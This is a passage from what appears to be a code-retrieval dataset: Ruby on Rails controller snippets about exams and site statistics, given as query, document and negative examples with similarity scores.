"def show\n\n\t\t@resource =\tUser.find_by_authentication_token(params[:auth_token])\n\t\treturn invalid_user unless @resource\n\t\t@exam = Exam.find(params[:id])\n\n\t\treturn cannot_find_exam unless @exam\n\t\t\t\n\t\t# end\n\tend", "def index\n @exam_subjects = ExamSubject.all\n end", "def show\n\tset_exercise\n end", "def result\n @exam = current_exam(params)\n\n @exam_reporter = @exam.evaluate(params[:answers])\n end", "def show\n @exam_category = ExamCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam_category }\n end\n end", "def set_exam\n @exam=Exam.find(params[:exam_id]) \n redirect_to root_url, :alert => '项目已关闭' if @exam.closed? && !current_user.is_s_admin? \n rescue\n redirect_to root_url, :alert => '项目不存在'\n end", "def create\n @exmedico = @paciente.exams.exmedico.new(params[:exmedico])\n # @exmedico.exam_id = @exam.id\n \n\n \n if @exmedico.save\n redirect_to [@paciente, @exam, @exmedico]\n else\n render action: \"new\"\n end\n \n end", "def show\n # resultが無い時\n unless @judge.result.present?\n # submitが無いときには別のテンプレート\n unless @judge.submits.exists?\n render :no_submit\n return\n end\n @judge.result = @judge.submits.sample.select_item\n @judge.save\n end\n end", "def new\n @exam = Exam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exam }\n end\n end", "def index\n @introexams = Introexam.all\n end", "def set_selected_answer\n @selected_answer = SelectedAnswer.find(params[:id])\n end", "def index\n @exam_managements = ExamManagement.all\n end", "def exam_result\n if params[:exam_id]\n @exam = Exam.find(params[:exam_id])\n assert(exam.kind_of?(Exam))\n @exam = fill_user_answers(@exam)\n\n current_user.exams_total_questions += @exam.questions.count\n current_user.update_attribute(:exam_performance, current_user.exam_performance + [@exam.accepted_answers])\n\n @exam.save\n return @exam.user_answers\n else\n return redirect_to_back\n flash[:danger] = t(:exam_message)\n end\n end", "def exam_answer_params\n params.require(:exam_answer).permit(:id, :exam_id, :user_id, :q1, :q2, :q3, :q4, :q5, :q6, :q7, :q8, :q9, :q10, :rec_points, :exam_level)\n end", "def index\n @exam_settings = ExamSetting.all\n end", "def set_examscheduleset\n @examscheduleset = Examscheduleset.find(params[:id])\n end", "def new\n @my_exam = MyExam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_exam }\n end\n end", "def set_practice\n @practice = Practice.find(params[:id])\n end", "def set_practice\n @practice = Practice.find(params[:id])\n end" ]
[ "0.7294504", "0.7265085", "0.7234758", "0.72006327", "0.7199503", "0.7199503", "0.7199503", "0.7199503", "0.7199503", "0.7199503", "0.7199503", "0.7199503", "0.7199503", "0.71032923", "0.706874", "0.70462865", "0.7034299", "0.6945866", "0.68353766", "0.67811567", "0.6737791", "0.67290807", "0.6655483", "0.6590151", "0.6583396", "0.65587723", "0.6546689", "0.65321577", "0.64443594", "0.6433757", "0.64057326", "0.6357354", "0.6312094", "0.6304644", "0.6304267", "0.6293361", "0.62676364", "0.623886", "0.6200568", "0.6186479", "0.6184528", "0.6182701", "0.61781996", "0.60641414", "0.6047554", "0.604175", "0.60392135", "0.6014105", "0.59748816", "0.59662634", "0.59635085", "0.596043", "0.5956713", "0.5946539", "0.59411144", "0.58986956", "0.58970404", "0.5883862", "0.5881492", "0.5861396", "0.5853784", "0.58460546", "0.5840878", "0.58333856", "0.58308583", "0.582621", "0.5818222", "0.5809932", "0.58069074", "0.57906014", "0.5790239", "0.57873195", "0.57771176", "0.5771768", "0.57571775", "0.57558876", "0.57519305", "0.5751306", "0.5747523", "0.5745217", "0.5729529", "0.57290095", "0.5706268", "0.5694242", "0.5685386", "0.56739384", "0.5673916", "0.5671551", "0.56712514", "0.5660511", "0.5654813", "0.5652562", "0.5650921", "0.5648215", "0.5647389", "0.5639659", "0.5629572", "0.56236905", "0.56234163", "0.56234163" ]
0.83269066
0
name: exams_statistics explanation: this method associate exams_statistics view with this controller parameters: none return: exams_statistics
def exams_statistics end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def statistics\n @survey = Survey.find(params[:survey_id])\n @result = @survey.results.find(params[:id])\n end", "def index\n @exam_results = ExamResult.order(:week_s => :desc).first(200)\n @exam_results_all = ExamResult.all\n\n @exam_results_weeks = ExamResult.count(:week_s)\n @exams_results_exams = ExamResult.sum(:taken)\n end", "def view_stats\n @company = Company.find(params[:id])\n data = {\n :name => \"Student Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n @company.impressions.where(\n \"created_at > ? AND created_at < ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end", "def display_stats\n \n if current_user && current_user.role == \"admin\"\n @valuesArray = params.values[0,(params.values).length-2]\n @keysArray = params.keys[0,(params.keys).length-2]\n @match_data = ClubMatch.joins(:club).where(:matched=>1).order('COUNT(club_matches.club_id)DESC').limit(5)\n @user_interest_data = UserInterest.joins(:interest).order('COUNT(user_interests.interest_id)DESC').limit(7)\n @club_interest_data = ClubInterest.joins(:interest).order('COUNT(club_interests.interest_id)DESC').limit(7)\n \n if @valuesArray[0] != \"All\" \n @users = User.where(\"#{@keysArray[0]}\": params[\"#{@keysArray[0]}\".to_sym])\n else\n @users = User.all\n end\n \n\n @title = ' users'\n @keysArray.each_index{|x|\n if x > 0 && @valuesArray[x] != \"\" \n @users = @users.where(\"#{@keysArray[x]}\": params[\"#{@keysArray[x]}\".to_sym])\n end\n\n if @keysArray[x] == \"gender\"\n @title = @valuesArray[x] + @title\n end\n\n if @keysArray[x] == \"grad_year\" && @valuesArray[x] != \"\"\n @title = @title + ' graduating in ' + @valuesArray[x]\n end\n } \n\n @total = @users.length\n else\n redirect_to new_user_session_path\n end \n \n end", "def set_view_statistic\n @view_statistic = ViewStatistic.find(params[:id])\n end", "def views\n impressionist_count(:filter => :session_hash)\n end", "def statistics\n @user = User.find(params[:id])\n @pageTitle = @user.display_name + \" Site History\"\n @metaDescription = @user.description.blank? ? @user.display_name : @user.description\n @trip_report_visit_groups = @user.trip_report_visits.order(\"updated_at DESC\").limit(30).in_groups_of(3)\n @place_visit_groups = @user.place_visits.order(\"updated_at DESC\").limit(30).in_groups_of(3)\n @photo_visits = @user.photo_visits.order(\"updated_at DESC\").limit(30)\n @route_visit_groups = @user.route_visits.order(\"updated_at DESC\").limit(30).in_groups_of(3)\n @album_visit_groups = @user.album_visits.order(\"updated_at DESC\").limit(30).in_groups_of(3)\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @user }\n end\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @goals = current_user.goals\n occs = current_user.occurrences.includes(habit: :goal)\n .where('scheduled_at >= ?', DateTime.now.beginning_of_week(start_day=:monday))\n .where('scheduled_at <= ?', DateTime.now.end_of_week).order(:scheduled_at)\n\n # group by weekday\n @schedule = occs.group_by { |occ| occ.scheduled_at.strftime('%A').downcase.to_sym }\n\n # calculate streaks\n occs = current_user.occurrences.includes(:habit).where('scheduled_at <= ?', DateTime.now).order(:scheduled_at).limit(100)\n @streaks = occs.group_by{ |occ| occ.habit.goal_id }\n\n # get all metrics\n configs = current_user.experience_sample_configs\n\n # get this weeks metrics\n current_week_metrics = current_user.samplings.includes(:experience_sample_config)\n .where('scheduled_at >= ?', DateTime.now.beginning_of_week(start_day=:monday))\n .where('scheduled_at <= ?', DateTime.now.end_of_week)\n .group(:experience_sample_config_id).average(:value)\n\n # get last weeks metrics\n last_week_metrics = current_user.samplings.includes(:experience_sample_config)\n .where('scheduled_at >= ?', DateTime.now.beginning_of_week(start_day=:monday) - 7.days)\n .where('scheduled_at <= ?', DateTime.now.end_of_week - 7.days)\n .group(:experience_sample_config_id).average(:value)\n\n @metrics = configs.map { |config| {\n config: config,\n current_week: current_week_metrics[config.id]&.round(2),\n last_week: last_week_metrics[config.id]&.round(2),\n difference: percentage_difference(current_week_metrics[config.id], last_week_metrics[config.id])\n }}\n end", "def results_view\n end", "def _view_statistic\n\t\t\trequest = ContactRequest.find params[:id]\n\n\t\t\tcase request.user_type\n\t\t\twhen 'user'\n\n\t\t\twhen 'contact_user'\n\t\t\t\tsession_info = request.contact_user_request.session_info\n\n\t\t\t\tif session_info.begin_session_info_id.present?\n\t\t\t\t\t@sessions = session_info.begin_session_info.flow_session_infos\n\t\t\t\telse\n\t\t\t\t\t@sessions = [ session_info ]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\trender json: {\n\t\t\t\tstatus: 0,\n\t\t\t\tresult: render_to_string(partial: 'contact_requests/view_statistic')\n\t\t\t}\n\t\tend", "def view_stats_all\n data = {\n :name => \"Company Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n Impression.where(\n \"created_at > ? AND created_at < ? AND action_name = ? AND controller_name = ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day,\n 'stat_show',\n 'companies'\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end", "def show_stats\n # Using MeetingStat\n @meeting_stat_calculator = MeetingStatCalculator.new(@meeting)\n @meeting_stats = @meeting_stat_calculator.calculate\n\n @preselected_team_id = params[:team_id]\n\n # Get a timestamp for the cache key:\n @max_updated_at = get_timestamp_from_relation_chain() # default: MIR\n end", "def exams_info\n averege_scores = 0\n exams_accounted_scores = 0\n total_views = 0\n self.exams.each do |exam|\n total_views = total_views + exam.views\n\n if exam.feedback_avarage >= 0\n averege_scores = averege_scores + exam.feedback_avarage\n exams_accounted_scores = exams_accounted_scores + 1\n end\n end\n\n if exams_accounted_scores > 0\n averege_scores = averege_scores / exams_accounted_scores\n end\n\n return {averege_scores: averege_scores, total_views: total_views}\n end", "def stats\n \n end", "def show_statistics\n render partial: \"show_statistics_tab\"\n end", "def show\n @calculator = Calculator.find(params[:id])\n @stats= statistics\n\n end", "def index\n @random_exams = RandomExam.all\n end", "def statistics; end", "def index\n @exams = Exam.all\n end", "def statistics\n @campaign = Campaign.find(params[:id])\n if @campaign.status == 'created'\n flash[:notice] = \"La Campaña no tiene Tweets públicados\"\n redirect_to action: :index\n end\n\n unless @campaign.hashtag.nil? or @campaign.hashtag.empty?\n @histogram = Topsy.hashtag_histogram(@campaign.hashtag.sub(/#/,'').to_s)\n @experts = Topsy.hashtag_experts(@campaign.hashtag.sub(/#/,'').to_s)\n @histogram_label = histogram_month_labels\n @hashtag_tweets = Topsy.hashtag_tweets(@campaign.hashtag.sub(/#/,'').to_s)\n end\n\n unless @campaign.phrase.nil? or @campaign.phrase.empty?\n @histogram_phrase = Topsy.phrase_histogram(@campaign.phrase)\n @phrase_experts = Topsy.phrase_experts(@campaign.phrase)\n @histogram_phrase_label = histogram_month_labels\n @phrase_tweets = Topsy.phrase_tweets(@campaign.phrase)\n end\n\n unless @campaign.twitter_screen_name.nil? or @campaign.twitter_screen_name.empty?\n @histogram_twitter_user = Topsy.twitter_user_histogram(@campaign.twitter_screen_name)\n @user_experts = Topsy.twitter_user_experts(@campaign.twitter_screen_name)\n @histogram_twitter_user_label = histogram_month_labels\n @twitter_user_tweets = Topsy.twitter_user_tweets(@campaign.twitter_screen_name)\n end\n\n respond_to do |format|\n format.html\n format.pdf {\n content = render_to_string(layout: false)\n pdf_file_name = generate_pdf_report(content)\n send_data File.open(pdf_file_name).read, type: 'application/pdf', disposition: \"attachment; filename=campaign_report.pdf\"\n }\n end\n end", "def view\n @assignment = Assignment.find(params[:id])\n @questions = Hash.new\n questionnaires = @assignment.questionnaires\n questionnaires.each {\n |questionnaire|\n @questions[questionnaire.symbol] = questionnaire.questions\n }\n\n @scores = @assignment.get_scores(@questions)\n end", "def index\n @analytics_used_analysables = AnalyticsUsedAnalysable.all\n end", "def index\n # TODO: Gotta be able to replace all this imperative scoping with `Ransack` or summit...\n\n @answer_sets = current_user.accessible_answer_sets\n\n # set default values into params\n params[:granularity] ||= current_user.default_cohort_granularity\n params[:group] ||= :day\n\n\n if params[:from_date].present?\n @answer_sets = @answer_sets.where(\"answer_sets.created_at >= ?\", params[:from_date])\n end\n if params[:to_date].present?\n @answer_sets = @answer_sets.where(\"answer_sets.created_at <= ?\", params[:to_date])\n end\n\n\n # setup the core query of the answer_set data\n @chart_data = @answer_sets.select('avg(answers.value) as value').joins(:answers, :cohort)\n\n\n # set the granularity of the data as required\n @chart_data = case params[:granularity].to_s.downcase\n when 'person'\n # remove the granularity of seeing the individual metric - instead, show each user's average for the set\n @chart_data.select('answer_sets.cohort_id as cohort_id, answer_sets.user_id as metric_id, answer_sets.user_id as user_id, users.email as label').group('answer_sets.cohort_id, answer_sets.user_id, users.email').joins(:user)\n\n when 'cohort'\n authorize! :granularity_by_cohort, AnswerSet\n @chart_data.select(\"answer_sets.cohort_id as cohort_id, 'cohort' as metric_id, 'cohort' as user_id, cohorts.name as label\").group('answer_sets.cohort_id, cohorts.name')\n\n else\n # default to grouping as finely-grained as possible - right down to the individual metric\n @chart_data.select(\"answer_sets.cohort_id as cohort_id, answers.metric_id as metric_id, answer_sets.user_id as user_id, users.email || ': ' || metrics.measure as label\").group(\"answer_sets.cohort_id, answers.metric_id, answer_sets.user_id, users.email || ': ' || metrics.measure\").joins(:user, answers: :metric)\n end\n\n\n # group the data into days/weeks if required\n @chart_data = case params[:group].to_s.downcase\n when 'hour'\n @x_labels = 'hour'\n @chart_data.select(\"date_trunc('hour', answer_sets.created_at) as created_at\").group(\"date_trunc('hour', answer_sets.created_at)\")\n\n when 'day'\n @x_labels = 'day'\n @chart_data.select('DATE(answer_sets.created_at) as created_at').group('DATE(answer_sets.created_at)')\n\n when 'week'\n # TODO: the week-grouping chart labels get fubard... try to sort them\n @x_labels = 'month'\n @chart_data.select(\"EXTRACT(YEAR FROM answer_sets.created_at)::text as created_at_year, EXTRACT(WEEK FROM answer_sets.created_at)::text as created_at_week\").group(\"EXTRACT(YEAR FROM answer_sets.created_at)::text, EXTRACT(WEEK FROM answer_sets.created_at)::text\")\n\n else\n @chart_data.select('answer_sets.created_at as created_at').group('answer_sets.created_at')\n end\n\n\n @data = chart_data(@chart_data)\n @keys = chart_data_keys(@chart_data)\n @labels = chart_data_labels(@chart_data)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chart_data }\n end\n end", "def detailed_statistics\n @detailed_statistics = Statistics::PersonStatistics.new @filtered_ratings.ratings, @filtered_ratings.ratings_older\n @should_switch = (@interval != 'all')\n respond_to do |format|\n format.html { render_404 }\n format.js { render partial: \"dashboard/charts/statistics\" }\n end\n end", "def stats\n end", "def stats\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def statistics\n super\n end", "def index\n @first_exams = FirstExam.all\n end", "def index\n @rand_exams = Xmt::Test::RandExam.all\n end", "def http_statistics\n super\n end", "def show\n @taxi = Taxi.find(params[:id])\n @answers = Answer.where(taxi_id: @taxi.id).order('created_at DESC')\n @final_load = []\n one_to_5_questions = Question.numerical_ids(current_user)\n one_to_5_questions.each_with_index do |question, n|\n series_data = Answer.numerical_histogram(@taxi.id,question)\n title = Question.find_by(id: question).content\n categories = ['1 Rating','2 Rating','3 Rating','4 Rating','5 Rating']\n @final_load << [series_data, title, categories]\n end\n yes_no_questions = Question.yes_no_ids(current_user)\n yes_no_questions.each_with_index do |question, n|\n series_data = Answer.yes_no_histogram(@taxi.id,question)\n title = Question.find_by(id: question).content\n categories = ['Yes','No']\n @final_load << [series_data, title, categories]\n end\n @final_load\n end", "def stats\n @stats = time_data Episode.all\n @cloud = word_cloud Episode.pluck(:title)\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Episode.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Episode.all, :hash) }\n end\n end", "def show\n @analysis = Analysis.find(params[:id])\n\n # Get all the relevant rows from the view stack\n estimates = execute <<-SQL\n select * from estimate_factors_analyses_categorized\n where analysis_name='#{@analysis.analysis_name}';\n SQL\n\n # Turn them into a map for handy fetching\n @estimates = {}\n @used_estimates = {}\n estimates.each do |estimate|\n @estimates[estimate['input_zone_id']+'@'+estimate['analysis_year']] = estimate\n @used_estimates[estimate['input_zone_id']] = true\n end\n\n respond_to do |format|\n format.html {\n render layout: 'fullscreen'\n }\n format.json { render json: @analysis }\n end\n end", "def overview\n authorize! :show, @pool\n (@response, @document_list) = get_search_results(rows:0)\n respond_to do |format|\n format.json { render :json=>{id:@pool.id, models:@pool.models.as_json, perspectives:@pool.exhibits.as_json, facets:@response[\"facet_counts\"][\"facet_fields\"], numFound:@response[\"response\"][\"numFound\"] } } \n end\n end", "def show\n @simulation_entry_details = @simulation_entry.simulation_entry_details.page(params[:page]).per(30)\n .order(transaction_date_year: :desc)\n .order(transaction_date_month: :desc)\n .order(transaction_date_day: :desc)\n .order(transaction_date_weekday: :desc)\n @result_activity_counts_by_entry_detail = SimulationEntry.where(id: @simulation_entry.id)\n .joins(simulation_entry_details: :simulation_result_activities).group('simulation_entry_details.id').size\n end", "def statistics\n authorize!(:read_statistics, current_course)\n end", "def overview\n\n end", "def index\n @exam_managements = ExamManagement.all\n end", "def index\n @appraisal_best_stats = AppraisalBestStat.all\n end", "def index\n set_experiments \n end", "def show\n # TODO: Add student's view\n if initialize_stats(@classroom)\n if params[:topics] == \"active\"\n @assignments = @active = Assignment.where(classroom_id: @classroom.id).where(\"due_date > ?\", Time.current)\n @student_assignments = @assignments\n @assignments = @assignments.uniq {|a| a.topic_id }\n \n # Update stats\n new_stats = JSON.parse(@classroom.stats)\n new_avg = 0\n @assignments.each do |assign|\n new_avg += new_stats[\"#{assign.topic_id}\"][\"avg_resources_viewed\"]\n end \n new_stats[\"active\"][\"avg_resources_viewed\"] = new_avg\n \n highest = nil\n highest_rating = -Float::INFINITY\n lowest = nil\n lowest_rating = Float::INFINITY\n @assignments.each do |a|\n if new_stats[\"#{a.topic_id}\"][\"highest_rated_resource_rating\"].nil? # In case topic doesn't have any feedback yet\n next \n end \n if new_stats[\"#{a.topic_id}\"][\"highest_rated_resource_rating\"] > highest_rating\n highest_rating = new_stats[\"#{a.topic_id}\"][\"highest_rated_resource_rating\"]\n highest = new_stats[\"#{a.topic_id}\"][\"highest_rated_resource\"]\n end \n if new_stats[\"#{a.topic_id}\"][\"lowest_rated_resource_rating\"] < lowest_rating\n lowest_rating = new_stats[\"#{a.topic_id}\"][\"lowest_rated_resource_rating\"]\n lowest = new_stats[\"#{a.topic_id}\"][\"lowest_rated_resource\"]\n end \n end \n new_stats[\"active\"][\"highest_rated_resource\"] = highest || nil\n new_stats[\"active\"][\"highest_rated_resource_rating\"] = if highest_rating > -Float::INFINITY then highest_rating else nil end \n new_stats[\"active\"][\"lowest_rated_resource\"] = lowest || nil \n new_stats[\"active\"][\"lowest_rated_resource_rating\"] = if lowest_rating < Float::INFINITY then lowest_rating else nil end \n \n @classroom.stats = new_stats.to_json\n @classroom.save\n \n elsif params[:topics] == \"past\"\n @assignments = Assignment.where(classroom_id: @classroom.id).where(\"due_date < ?\", Time.current)\n @student_assignments = @assignments\n @active = Assignment.where(classroom_id: @classroom.id).where(\"due_date > ?\", Time.current)\n @assignments = @assignments.uniq {|a| a.topic_id }\n \n # Update stats\n new_stats = JSON.parse(@classroom.stats)\n new_avg = 0\n @assignments.each do |assign|\n new_avg += new_stats[\"#{assign.topic_id}\"][\"avg_resources_viewed\"]\n end \n new_stats[\"past\"][\"avg_resources_viewed\"] = new_avg\n \n highest = nil\n highest_rating = -Float::INFINITY\n lowest = nil\n lowest_rating = Float::INFINITY\n @assignments.each do |a|\n if new_stats[\"#{a.topic_id}\"][\"highest_rated_resource_rating\"].nil? # In case resource hasn't been given any feedback yet\n next \n end \n if new_stats[\"#{a.topic_id}\"][\"highest_rated_resource_rating\"] > highest_rating\n highest_rating = new_stats[\"#{a.topic_id}\"][\"highest_rated_resource_rating\"]\n highest = new_stats[\"#{a.topic_id}\"][\"highest_rated_resource\"]\n end \n if new_stats[\"#{a.topic_id}\"][\"lowest_rated_resource_rating\"] < lowest_rating\n lowest_rating = new_stats[\"#{a.topic_id}\"][\"lowest_rated_resource_rating\"]\n lowest = new_stats[\"#{a.topic_id}\"][\"lowest_rated_resource\"]\n end\n end \n new_stats[\"active\"][\"highest_rated_resource\"] = highest || nil\n new_stats[\"active\"][\"highest_rated_resource_rating\"] = if highest_rating > -Float::INFINITY then highest_rating else nil end \n new_stats[\"active\"][\"lowest_rated_resource\"] = lowest || nil \n new_stats[\"active\"][\"lowest_rated_resource_rating\"] = if lowest_rating < Float::INFINITY then lowest_rating else nil end \n \n @classroom.stats = new_stats.to_json\n @classroom.save\n end \n else\n raise \"Could not initialize this classroom's stats.\"\n end \n end", "def index\n @introexams = Introexam.all\n end", "def view_team\n @participant = AssignmentParticipant.find(params[:id])\n @assignment = @participant.assignment\n @team = @participant.team\n @team_id = @team.id\n @questions = {}\n questionnaires = @assignment.questionnaires\n retrieve_questions questionnaires\n @pscore = @participant.scores(@questions)\n @vmlist = []\n\n # loop through each questionnaire, and populate the view model for all data necessary\n # to render the html tables.\n counter_for_same_rubric = 0\n questionnaires.each do |questionnaire|\n @round = nil\n if @assignment.varying_rubrics_by_round? && questionnaire.type == \"ReviewQuestionnaire\"\n questionnaires = AssignmentQuestionnaire.where(assignment_id: @assignment.id, questionnaire_id: questionnaire.id)\n if questionnaires.count > 1\n @round = questionnaires[counter_for_same_rubric].used_in_round\n counter_for_same_rubric += 1\n else\n @round = questionnaires[0].used_in_round\n counter_for_same_rubric = 0\n end\n end\n vm = VmQuestionResponse.new(questionnaire, @assignment, @round)\n vmquestions = questionnaire.questions\n vm.add_questions(vmquestions)\n vm.add_team_members(@team)\n vm.add_reviews(@participant, @team, @assignment.varying_rubrics_by_round?)\n vm.get_number_of_comments_greater_than_10_words\n @vmlist << vm\n end\n @current_role_name = current_role_name\n end", "def show\n @tourist_sight = TouristSight.find(params[:id])\n @evaluations = @tourist_sight.evaluations(params[:page])\n @average = @tourist_sight.evaluation_average\n\t\t@city = @tourist_sight.city\n\t\t@tips = @tourist_sight.tips(params[:page_tips])\n\t\t@tourist_sight.increase_hits\n\t\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tourist_sight }\n end\n end", "def index\n @samples = Sample.all\n @page_title = \"Sample History Overview\"\n end", "def admin_report\n @current_teacher = current_teacher\n @school = School.find(@current_teacher.school_id)\n @students = Student.where(school_id: current_teacher.school_id).order('full_name ASC')\n @teachers = Teacher.where(school_id: current_teacher.school_id).order('full_name ASC')\n @squares = Square.where(school_id: current_teacher.school_id).order('full_name ASC')\n end", "def index\n @state_statistics = StateStatistic.all\n end", "def index\n @exam_settings = ExamSetting.all\n end", "def index\n @studies = Study.find_studies_with_details(current_user.superadmin? ? nil : current_user&.id)\n @study_statistics_by_id = Study.get_study_statistics(studies: @studies)\n authorize! :read, StudyCompletion\n end", "def index\n @test_team_stats = TestTeamStat.all\n end", "def stats\n @stats = {\n total_distance: CyclingEvent.sum(:distance),\n total_time: CyclingEvent.sum(:finish_time),\n average_speed: CyclingEvent.sum(:distance).to_f / CyclingEvent.sum(:finish_time).to_f\n }\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: @stats, callback: params[:callback] }\n format.xml { render xml: @stats }\n end\n end", "def stats\n ## TODO:\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def all_statistics\n super\n end", "def user_stats\n @user = User.find(params[:id])\n @stats = time_data @user.episodes\n @cloud = word_cloud @user.episodes.pluck(:title)\n\n respond_to do |format|\n format.html { render 'stats' }\n format.json { render json: time_data(@user.episodes, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(@user.episodes, :hash) }\n end\n end", "def index\n @examquestions = Examquestion.all\n end", "def dashboard\n @total_count = TimePilot.features.map do |feature_name|\n counts = TimePilot.group_classes.map do |klass|\n [klass.to_s, klass.pilot_feature_cardinality(feature_name)]\n end.to_h\n [feature_name, counts]\n end.to_h\n erb :index\n end", "def view\n if session[\"github_access_token\"].nil?\n session[\"assignment_id\"] = params[:id]\n session[\"github_view_type\"] = \"view_scores\"\n return redirect_to authorize_github_grades_path\n end\n @assignment = Assignment.find(params[:id])\n @questions = {}\n questionnaires = @assignment.questionnaires\n if @assignment.varying_rubrics_by_round?\n retrieve_questions questionnaires\n else # if this assignment does not have \"varying rubric by rounds\" feature\n questionnaires.each do |questionnaire|\n @questions[questionnaire.symbol] = questionnaire.questions\n end\n end\n\n @scores = @assignment.scores(@questions)\n averages = calculate_average_vector(@assignment.scores(@questions))\n @average_chart = bar_chart(averages, 300, 100, 5)\n @avg_of_avg = mean(averages)\n calculate_all_penalties(@assignment.id)\n @show_reputation = false\n end", "def solr_stats\n @solr_stats = get_solr_statistics\n render 'about/solr'\n end", "def index\n if current_user.admin?\n @performance_charts = PerformanceChart.all\n @students = Student.all\n @cohorts = Cohort.all\n @locations = @cohorts.map {|c| c.location}.uniq\n else\n redirect_to root_path, notice: \"You are not authorized to take that action.\"\n end\n end", "def index\n if params[:viewer_ip]\n @view_statistics = ViewStatistic.where(\"viewer_ip LIKE ?\", \"%#{params[:viewer_ip]}%\").order(created_at: :desc)\n @viewer_ip = params[:viewer_ip]\n else\n session[:back_link] = request.original_url\n\n @day = params[:commit] ? params[:commit].to_datetime : DateTime.now.in_time_zone(Time.zone).beginning_of_day\n\n @view_statistics = ViewStatistic.for_one_day(@day)\n\n if params[:google] == \"google all\"\n @view_statistics = @view_statistics.where(\"section LIKE ?\", \"%{google%\")\n @google = \"google all\"\n\n elsif params[:google] == \"google normal\"\n @view_statistics = @view_statistics.where(section: \"{google normal search}\")\n @google = \"google normal\"\n\n elsif params[:google] == \"google ad\"\n @view_statistics = @view_statistics.where(section: \"{google adwords}\")\n @google = \"google ad\"\n\n elsif params[:google] == \"all\"\n @google = \"all\"\n end\n @view_statistics = @view_statistics.order(created_at: :desc)\n\n\n\n @view_statistics1 = ViewStatistic.for_one_day(@day)\n @all = @view_statistics1.size\n\n @view_statistics1 = @view_statistics1.where(\"referer LIKE ?\", \"%google%\")\n @google_all = @view_statistics1.size\n\n @view_statistics1 = @view_statistics1.where(\"referer NOT LIKE ?\", \"%aclk%\")\n @google_normals = @view_statistics1.size\n\n @google_ads = @google_all - @google_normals\n end\n\n respond_to do |format|\n format.html\n format.csv { send_data @view_statistics.to_csv }\n # format.xls # { send_data @products.to_csv(col_sep: \"\\t\") }\n end\n\n end", "def index\n @exam_sets = ExamSet.all\n end", "def show\n\t\t@engagements = Index.get_engagement(params[:id])\n\tend", "def index\n @thesis_examinations = ThesisExamination.all\n end", "def index\n @demographic_questions = DemographicQuestion.all\n end", "def index\n # With sample events\n # events = EventAnalysis::SAMPLE_EVENTS2\n # @analysis_results = EventAnalysis.new(current_user.sources.first, events).analyze\n\n events = current_user.fetch_next_week_events\n @analysis_results = current_user.analyze_events(events)\n \n respond_to do |format|\n format.html{ render layout: params[:type] != \"ajax\" }\n format.json{ render json: EventDatatable.new(view_context, current_user, events) }\n end\n end", "def index\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = UtilizationMetric\n allparams[:webparams] = params\n results = Search.new(allparams).search\n\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:dasherize => false) }\n end\n end", "def index\r\n @value_metrics = @game.value_metrics\r\n end", "def index\n @view_counts = ViewCount.all\n end", "def show\n @current_team = current_team\n\n @not_evaluated_count = current_team.evaluations.where(evaluation_code_id: 1).count\n @watchlist_count = current_team.evaluations.where(evaluation_code_id: 2).count\n @reject_count = current_team.evaluations.where(evaluation_code_id: 3).count\n end", "def charting\n check_state_and_update\n @titles = Title.build_horizontal_collection(@task.id,current_user.id)\n \n respond_to do |format| \n format.html \n end\n end", "def index\n @hand_analytics = HandAnalytic.all\n end", "def dashboard\n if user_signed_in?\n @user = current_user\n else\n redirect_to '/'\n return\n end\n\n offset = current_user.timezone_offset\n offset ||= 8\n\n if @user.role_id == 2 \n @userlessons = Lesson.where(\"teacher_id = ? AND starts_at > ? AND student_id IS NOT NULL\", @user.id, ((Time.now.utc + offset.hours).beginning_of_day - 1.hour - offset.hours)).order(starts_at: :asc)\n else\n @userlessons = Lesson.where(\"student_id = ? AND starts_at > ? AND teacher_id IS NOT NULL\", @user.id, ((Time.now.utc + offset.hours).beginning_of_day - 1.hour - offset.hours)).order(starts_at: :asc)\n end\n \n \n if @userlessons.size == 0 && @user.lesson_count == 0\n @count = 0\n else\n @count = @userlessons.size.to_f\n @total = @user.lesson_count \n end\n\n render \"show\"\n end", "def show\n days_to_view = params[:days].present? ? params[:days].to_i : 30\n\n @application = Application.find(params[:id])\n @events = @application.events\n\n @pageviews = @events.where(name: \"pageview\")\n @pageviews_30 = @pageviews.where('created_at > ?', 30.days.ago)\n @pageviews_chart = @pageviews.where('created_at > ?', 